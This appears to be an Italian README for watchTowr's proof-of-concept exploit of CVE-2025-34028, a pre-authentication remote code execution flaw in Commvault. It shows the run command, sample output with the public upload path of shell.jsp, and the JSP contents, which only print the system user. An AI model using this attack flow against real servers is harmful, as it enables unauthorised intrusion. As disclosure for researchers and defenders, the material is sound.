
Proof-of-concept exploit per CVE-2025-34028, che dimostra l'esecuzione remota di codice pre-autenticata sulle interfacce web di Commvault tramite caricamento di JSP malevolo.
Una prova di concetto di Remote Code Execution pre-autenticata per Commvault
Consulta il nostro blog post per i dettagli tecnici
python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-commvault-rce-CVE-2025-34028.py
(*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
Questo script è una prova di concetto per CVE-2025-34028, relativo alle interfacce web di Commvault. Caricando un file zip contenente un file .jsp per l'esecuzione di codice, il file zip viene caricato in una directory pubblicamente accessibile e l'utente di sistema viene dettagliato nella risposta. Ulteriori dettagli sono descritti nel nostro [blog post] (https://labs.watchtowr.com/).
Lo script PoC utilizza un file zip hardcoded contenente i seguenti file:
Contenuto di Shell.jsp:
<%@ page import="java.util.*" %>
<html>
<body>
<h3>System Information</h3>
<p>Current User: <%= System.getProperty("user.name") %></p>
</body>
</html>
Maggiori dettagli su Commvault Advisory
Per le ultime ricerche sulla sicurezza, segui il team watchTowr Labs